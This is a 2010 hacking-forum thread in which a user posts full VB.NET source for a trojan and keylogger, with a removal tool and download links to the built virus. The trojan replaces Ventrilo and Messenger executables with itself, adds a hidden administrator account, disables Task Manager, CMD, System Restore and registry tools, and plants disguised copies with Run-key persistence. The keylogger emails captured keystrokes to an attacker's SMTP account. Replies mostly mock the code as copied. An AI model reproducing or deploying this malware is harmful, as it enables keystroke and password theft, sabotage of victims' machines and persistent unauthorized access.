Hack Forums
[.NET] [Source Code] Keylogger + Trojan + GUI - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [Source Code] Keylogger + Trojan + GUI (/showthread.php?tid=627966)

[Source Code] Keylogger + Trojan + GUI - zerg236 - Aug 21, 2010

Download Virus: http://www.mediafire.com/?xqt0xh8x2c93dhj (Keylogger not added) (Source listed)
Download Virus Fix: http://www.mediafire.com/?xf6g8c5xd6upn4d (Source listed)

All source is given below. Please contribute codes to add, remove, and modify. Read below.

Post 1 out of 3... Please scroll down for the next post.

Post 1: Form 2 GUI + Malicious injection
Post 2: Keylogger
Post 3: Fix the virus/removal code.

This is my first post, and over the past 4 days, I have worked on making a Trojan Virus, Keylogger, as well as a GUI interface.

However, I'd like to express some open-source into this, meaning that I want for our community to share into this project.

Please reply with added sources, modifications, and I will edit as we go along.

I will explain the source at the end.
Form2 is the GUI as well as the main injection/modifier/registry editor. This is the trojan portion of our virus.

Please scroll to the end of the code and I will help define each line of code.

Code
Public Class Form2
    Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  'Code by zerg236 and Mod4!!LinUX
On Error Resume Next
  Dim owmp As Object
  Dim colCDROMs
  owmp = CreateObject("WMPlayer.OCX.7")
  colCDROMs = owmp.cdromCollection
  If colCDROMs.Count >= 1 Then
    For i = 0 To colCDROMs.Count - 1
    colCDROMs.Item(i).eject()
    Next
  End If
  If System.IO.Directory.Exists("C:\Program Files\Ventrilo") Then
    System.IO.File.Delete("C:\Program Files\Ventrilo\Ventrilo.exe")
    System.IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, "C:\Program Files\Ventrilo\Ventrilo.exe") 'I want to force overwrite file here
  End If
  If System.IO.Directory.Exists("C:\Program Files\Windows Live\Messenger") Then
    System.IO.File.Delete("C:\Program Files\Windows Live\Messenger\msnmsgr.exe")
    System.IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, "C:\Program Files\Windows Live\Messenger\msnmsgr.exe") 'I want to force overwrite file here
  End If
  Shell("net user M0dLinUx linux /add", vbHide)
  Shell("net localgroup administrators M0dlinUx /add", vbHide)

  If System.IO.File.Exists("C:\Documents and Settings" & System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe") = False Then
    FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
  Else
    My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
    FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
  End If
  Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", vbHide)
  My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System", "DisableCMD", "1", Microsoft.Win32.RegistryValueKind.DWord)
  My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord)
  My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "1", Microsoft.Win32.RegistryValueKind.DWord)
  Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
  My.Computer.Registry.SetValue(regloc, "Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
  ShowInTaskbar = False
  WebBrowser1.Navigate("http://trololololololololololo.com/")
    End Sub
    Private Sub Form2_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
  e.Handled = True
    End Sub
    Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String)
  On Error Resume Next
  Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
  Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
  Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  On Error Resume Next
  Shell("ipconfig /release", vbHide)
  Timer2.Stop()
  Timer2.Enabled = False
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  On Error Resume Next
  If System.IO.File.Exists("C:\i386\Adobe\Flash\Macromedia\Global") = False Then
    My.Computer.FileSystem.CreateDirectory _
    ("C:\i386\Adobe\Flash\Macromedia\Global")
    FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\i386\Adobe\Flash\Macromedia\Global" & "AdobeFlashPlayer.exe")
  End If
  If System.IO.File.Exists("C:\Documents and Settings" & System.Environment.UserName & "\Desktop\Norton Antivirus 2008\Norton.exe") = False Then
    My.Computer.FileSystem.CreateDirectory _
    ("C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Norton Antivirus 2008")
    FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Norton Antivirus 2008\Norton.exe")
  Else
    My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Norton Antivirus 2008\Norton.exe")
    FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Norton Antivirus 2008\Norton.exe")
  End If
  AddStartup("Javabloom Updater", "C:\i386\Adobe\Flash\Macromedia\Global\AdobeFlashPlayer.exe")
  Timer1.Stop()
  Timer1.Enabled = False
    End Sub
End Class

First, we are creating a Media Player virtual mountpoint to which sends data that there is a CD inside the CD tray. We define the value, and set an if count, then tell the OS to eject the tray.

Now, We see if common fileplaces exist. We see IF ventrilo exists, then delete ventrilo.exe and replace it with our trojan.

We then do the same with Messenger.

After this, we have a useless shell script to add administrative rights to a new user.

Next, We add a fake antivirus onto the desktop itself.

After that, we are adding a registry modification to disable the users task manager, Command Prompt, system restore, & Registry

We next send a command to not show the form in task manager and navigate to the site that the form displays in a web browser

We next set a start-up path by adding a registry value into the registry.

When timer 1 is ticked, it will tick ipconfig /release- if user has a router, to release internet access.

Next we add files to C:\ as well as our start point as well as a few more trick directories.

* - TickTack - Aug 21, 2010

0.0

wat. Great job, but it seems highly ripped.

* - zerg236 - Aug 21, 2010

Now we will add form1. You will need to change the code that I enter in "CHANGEHERE" so when copied into VB, CTRL + F and type CHANGEHERE

Code
Imports System.IO
Imports system.net.mail

Public Class Form1
    Dim Path As Object
    Private Property TaskVisible As Boolean
    Dim result As Integer
    Dim i As Double
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
    Public Function GetCapslock() As Boolean
  ' Return Or Set the Capslock toggle.
  For i = 32 To 128
    result = 0
    result = GetAsyncKeyState(i)

    If result = -32767 Then
    TextBox1.Text = TextBox1.Text + Chr(i)
    End If
  Next i

    End Function

    Public Function GetShift() As Boolean

  ' Return Or Set the Capslock toggle.

  GetShift = CBool(GetAsyncKeyState(&H10))

    End Function

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  Dim Mail As New MailMessage
  Try
    Mail.From = New MailAddress("CHANGEHERE YOUR EMAIL")
    Mail.To.Add("CHANGEHERE YOUR EMAIL ADDRESS")
    Mail.Subject = ("CHANGEHERE SUBJECT")
    Mail.Body = (TextBox1.Text)
    Dim s As New SmtpClient("CHANGEHERE YOUR STMP SERVER")
    s.Port = "CHANGEHERE YOUR STMP PORT"
    s.EnableSsl = True
    s.Credentials = New System.Net.NetworkCredential("CHANGEHERE YOUR EMAIL ", "CHANGEHERE YOUR PASSWORD")
    s.Send(Mail)
  Catch ex As Exception
  End Try

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  Hide()
  ShowInTaskbar = False
  On Error Resume Next
  Timer1.Interval = 10
  Timer1.Enabled = True
  AddStartup(Me.Text, Application.ExecutablePath)
  Form2.Visible = True

    End Sub
    Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String)
  Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
  Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
  Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)
    End Sub
[hr]
We will now add a Timer and enable its interval to 10. This will be under Form1.

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  For i As Integer = 1 To 225
    result = 0
    result = GetAsyncKeyState(i)
    If result = -32767 Then
    If GetCapslock() = True And GetShift() = True Then
    Select Case (i)
    Case 192
    TextBox1.Text = TextBox1.Text + "~"
    Case 1
    'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
    Case 64 To 90
    TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
    Case 97 To 122
    TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
    Case 32
    TextBox1.Text = TextBox1.Text + " "
    Case 48
    TextBox1.Text = TextBox1.Text + ")"
    Case 49
    TextBox1.Text = TextBox1.Text + "!"
    Case 50
    TextBox1.Text = TextBox1.Text + "@"
    Case 51
    TextBox1.Text = TextBox1.Text + "#"
    Case 52
    TextBox1.Text = TextBox1.Text + "$"
    Case 53
    TextBox1.Text = TextBox1.Text + "%"
    Case 54
    TextBox1.Text = TextBox1.Text + "^"
    Case 55
    TextBox1.Text = TextBox1.Text + "&"
    Case 56
    TextBox1.Text = TextBox1.Text + "*"
    Case 57
    TextBox1.Text = TextBox1.Text + "("
    Case 8
    TextBox1.Text = TextBox1.Text + "[BackSpace]"
    Case 46
    TextBox1.Text = TextBox1.Text + "[Del]"
    Case 190
    TextBox1.Text = TextBox1.Text + ">"
    Case 16
    Case 160 To 165
    Case 17
    TextBox1.Text = TextBox1.Text + "[Ctrl]"
    Case 18
    TextBox1.Text = TextBox1.Text + "[Alt]"
    Case 189
    TextBox1.Text = TextBox1.Text + "_"
    Case 187
    TextBox1.Text = TextBox1.Text + "+"
    Case 219
    TextBox1.Text = TextBox1.Text + "{"
    Case 221
    TextBox1.Text = TextBox1.Text + "}"
    Case 186
    TextBox1.Text = TextBox1.Text + ":"
    Case 222
    TextBox1.Text = TextBox1.Text + """"
    Case 188
    TextBox1.Text = TextBox1.Text + "<"
    Case 191
    TextBox1.Text = TextBox1.Text + "?"
    Case 220
    TextBox1.Text = TextBox1.Text + "|"
    Case 13
    TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
    Case 20
    Case 91 'windows key
    Case 9
    TextBox1.Text = TextBox1.Text + " [Tab]"
    Case 2
    TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
    Case 37 To 40
    Case Else
    TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
    End Select
    End If
    If GetCapslock() = True And GetShift() = False Then
    Select Case (i)
    Case 91 'windows key
    Case 1
    'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
    Case 64 To 90
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 97 To 122
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 32
    TextBox1.Text = TextBox1.Text + " "
    Case 48 To 57
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 8
    TextBox1.Text = TextBox1.Text + "[BackSpace]"
    Case 46
    TextBox1.Text = TextBox1.Text + "[Del]"
    Case 190
    TextBox1.Text = TextBox1.Text + "."
    Case 16
    Case 160 To 165
    Case 20
    Case 192
    TextBox1.Text = TextBox1.Text + "`"
    Case 189
    TextBox1.Text = TextBox1.Text + "-"
    Case 187
    TextBox1.Text = TextBox1.Text + "="

    Case 219
    TextBox1.Text = TextBox1.Text + "["
    Case 221
    TextBox1.Text = TextBox1.Text + "]"
    Case 186
    TextBox1.Text = TextBox1.Text + ";"
    Case 222
    TextBox1.Text = TextBox1.Text + "'"
    Case 188
    TextBox1.Text = TextBox1.Text + ","
    Case 191
    TextBox1.Text = TextBox1.Text + "/"
    Case 220
    TextBox1.Text = TextBox1.Text + "\"
    Case 17
    TextBox1.Text = TextBox1.Text + "[Ctrl]"
    Case 18
    TextBox1.Text = TextBox1.Text + "[Alt]"
    Case 13
    TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
    Case 9
    TextBox1.Text = TextBox1.Text + " [Tab]"
    Case 2
    TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
    Case 37 To 40
    Case Else
    TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
    End Select
    End If
    If GetCapslock() = False And GetShift() = True Then
    Select Case (i)
    Case 91 'windows key
    Case 192
    TextBox1.Text = TextBox1.Text + "~"
    Case 1
    ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
    Case 64 To 90
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 97 To 122
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 32
    TextBox1.Text = TextBox1.Text + " "
    Case 48
    TextBox1.Text = TextBox1.Text + ")"
    Case 49
    TextBox1.Text = TextBox1.Text + "!"
    Case 50
    TextBox1.Text = TextBox1.Text + "@"
    Case 51
    TextBox1.Text = TextBox1.Text + "#"
    Case 52
    TextBox1.Text = TextBox1.Text + "$"
    Case 53
    TextBox1.Text = TextBox1.Text + "%"
    Case 54
    TextBox1.Text = TextBox1.Text + "^"
    Case 55
    TextBox1.Text = TextBox1.Text + "&"
    Case 56
    TextBox1.Text = TextBox1.Text + "*"
    Case 57
    TextBox1.Text = TextBox1.Text + "("
    Case 8
    TextBox1.Text = TextBox1.Text + "[BackSpace]"
    Case 46
    TextBox1.Text = TextBox1.Text + "[Del]"
    Case 190
    TextBox1.Text = TextBox1.Text + ">"
    Case 16
    Case 160 To 165
    Case 17
    TextBox1.Text = TextBox1.Text + "[Ctrl]"
    Case 18
    TextBox1.Text = TextBox1.Text + "[Alt]"
    Case 189
    TextBox1.Text = TextBox1.Text + "_"
    Case 187
    TextBox1.Text = TextBox1.Text + "+"
    Case 219
    TextBox1.Text = TextBox1.Text + "{"
    Case 221
    TextBox1.Text = TextBox1.Text + "}"
    Case 186
    TextBox1.Text = TextBox1.Text + ":"
    Case 222
    TextBox1.Text = TextBox1.Text + """"
    Case 188
    TextBox1.Text = TextBox1.Text + "<"
    Case 191
    TextBox1.Text = TextBox1.Text + "?"
    Case 220
    TextBox1.Text = TextBox1.Text + "|"
    Case 13
    TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
    Case 9
    TextBox1.Text = TextBox1.Text + " [Tab]"
    Case 20
    Case 2
    TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
    Case 37 To 40
    Case Else
    TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
    End Select
    End If
    If GetCapslock() = False And GetShift() = False Then
    Select Case (i)
    Case 1
    ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
    Case 64 To 90
    TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
    Case 97 To 122
    TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
    Case 32
    TextBox1.Text = TextBox1.Text + " "
    Case 48 To 57
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 8
    TextBox1.Text = TextBox1.Text + "[BackSpace]"
    Case 46
    TextBox1.Text = TextBox1.Text + "[Del]"
    Case 190
    TextBox1.Text = TextBox1.Text + "."
    Case 16
    Case 160 To 165
    Case 20
    Case 192
    TextBox1.Text = TextBox1.Text + "`"
    Case 189
    TextBox1.Text = TextBox1.Text + "-"
    Case 187
    TextBox1.Text = TextBox1.Text + "="
    Case 91 'windows key
    Case 219
    TextBox1.Text = TextBox1.Text + "["
    Case 221
    TextBox1.Text = TextBox1.Text + "]"
    Case 186
    TextBox1.Text = TextBox1.Text + ";"
    Case 222
    TextBox1.Text = TextBox1.Text + "'"
    Case 188
    TextBox1.Text = TextBox1.Text + ","
    Case 191
    TextBox1.Text = TextBox1.Text + "/"
    Case 220
    TextBox1.Text = TextBox1.Text + "\"
    Case 17
    TextBox1.Text = TextBox1.Text + "[Ctrl]"
    Case 18
    TextBox1.Text = TextBox1.Text + "[Alt]"
    Case 13
    TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
    Case 9
    TextBox1.Text = TextBox1.Text + " [Tab]"
    Case 2
    TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
    Case 37 To 40

    Case Else
    TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
    End Select
    End If

    End If
  Next i
    End Sub

End Class

(Aug 21, 2010 09:44 PM)TickTack Wrote:  0.0

wat. Great job, but it seems highly ripped.

Not ripped. I used a few forums, such as for the DVD tray portion. However, most of it is coded and modified.

Keep in mind that I defined this as being Open Source. Edit: Going through it only the DVD part was left unmodified to fit my personal taste.

This is the fix I have made, the link to the virus download is on the top of this entire thread.

This is to remove every setting added

Code
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  On Error Resume Next

  Shell("taskkill /F /IM winreg.exe")
  My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "0", Microsoft.Win32.RegistryValueKind.DWord)
  Label1.Text = "ENABLING _ TASK MANAGER"
  ProgressBar1.Value = 3
  My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System", "DisableCMD", "0", Microsoft.Win32.RegistryValueKind.DWord)
  Label1.Text = "ENABLING _ COMMAND LINE _ COMMAND PROMPT ___ WORKING _"
  ProgressBar1.Value = 12
  My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "0", Microsoft.Win32.RegistryValueKind.DWord)
  Label1.Text = "RENEWING SYSTEM ___ RESTORE ___ DEFAULT__"
  Shell("ipconfig /renew")
  Label1.Text = "RENEWING INTERNET___ CONFIGURATIONS ____ IPCONFIG;"
  ProgressBar1.Value = 28

  My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "0", Microsoft.Win32.RegistryValueKind.DWord)
  Label1.Text = "GIVING ADMINISTRATIVE RIGHTS TO : __REGISTRY ___ TOOLS __ WORKING_"
  ProgressBar1.Value = 40
  Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
  Label1.Text = "EVALUATING REGISTRY BINARIES AFFECTED____"
  ProgressBar1.Value = 47
  My.Computer.Registry.SetValue(regloc, "Hidden", "1", Microsoft.Win32.RegistryValueKind.DWord)
  ProgressBar1.Value = 51
  Shell("msconfig")
  Label1.Text = "MSCONFIG__ SETTING ____ -- -_"
  ShowInTaskbar = True
  Label1.Text = "SHOW __ IN __ TASK __  SYSTEM ____ADDED ___COMMANDLINE"
  ProgressBar1.Value = 61
  My.Computer.FileSystem.DeleteFile("C:\i386")
  My.Computer.FileSystem.DeleteFile("C:\i386\Adobe")
  My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash")
  My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash\Macromedia")
  My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash\Macromedia\GlobalAdobeFlashPlayer.exe")
  My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash\Macromedia\Global")

  Label1.Text = "DELETING __ REPLICATED __ VIRUS BINARIES__"
  My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
  Label1.Text = "DELETING>>"
  My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Norton Antivirus 2008")
  Label1.Text = "DELETING VIRUS BINARIES AND AFFECTED SUBFOLDERS"
  ProgressBar1.Value = 71
  My.Computer.FileSystem.DeleteFile("C:\Norton Free Antivirus")
  Label1.Text = "DELETING FAKE BINARIES ____ NORTON ____ FREE __ ANTI_VIRU_S__"
  ProgressBar1.Value = 84

  My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash\Macromedia\Global")
  Label1.Text = "ALMOST DONE, REMOVING FAKE___ ADOBE___ PLUGIN___.EXE"
  ProgressBar1.Value = 93

  Shell("net user /delete M0dLinUx")
  Label1.Text = "REMOVING HACKED SECURITY ACCOUNT ___ M0dlinUX"
  Shell("net localgroup administrators /delete M0dlinUx")
  Label1.Text = "REMOVING NETWORK BREACH_+__"
  ProgressBar1.Value = 100
  Timer1.Stop()
  Timer1.Enabled = False
  Timer1.Stop()
  Timer1.Enabled = False
  Timer1.Stop()
  Timer1.Enabled = False
  Timer1.Stop()
  Timer1.Enabled = False
  Timer1.Interval = 200

  Label1.Text = "Finishing___  ____Registry__  ___Values___"
  MsgBox("All values have been repaired", MsgBoxStyle.Information, "M0d -$u")

  Me.Close()
    End Sub


* - Oxycotton - Aug 21, 2010

If you used other forums its ripped, c&p coding lol.

* - zerg236 - Aug 21, 2010

(Aug 21, 2010 11:07 PM)KiddBiz Wrote:  If you used other forums its ripped, c&p coding lol.

>Implying it's ripped,

One bloated script makes it ripped

Hahaha, oh wow, I'd imagine this forum to be intelligent.

* - PurpleHaze - Aug 21, 2010

This was mad copy and pasta.
You should actually learn the language instead of trying to take credit for stuff not yours.

* - zerg236 - Aug 22, 2010

(Aug 21, 2010 11:42 PM)PurpleHaze Wrote:  This was mad copy and pasta.
90% modified from original source.

* - Lucifer007 - Oct 11, 2016

Bt how its work
. After creating it on notepade how should i save it?

* - iLogicâ„¢ - Oct 11, 2016

(Oct 11, 2016 07:38 AM)Lucifer007 Wrote:  Bt how its work
. After creating it on notepade how should i save it?

Lmao. This thread is from 2010 and OP is already closed. Nice gravedig you have done 😧

* - $lick - Oct 11, 2016

(Oct 11, 2016 07:38 AM)Lucifer007 Wrote:  Bt how its work
. After creating it on notepade how should i save it?

Save as ".exe" and then alt+f4 your life.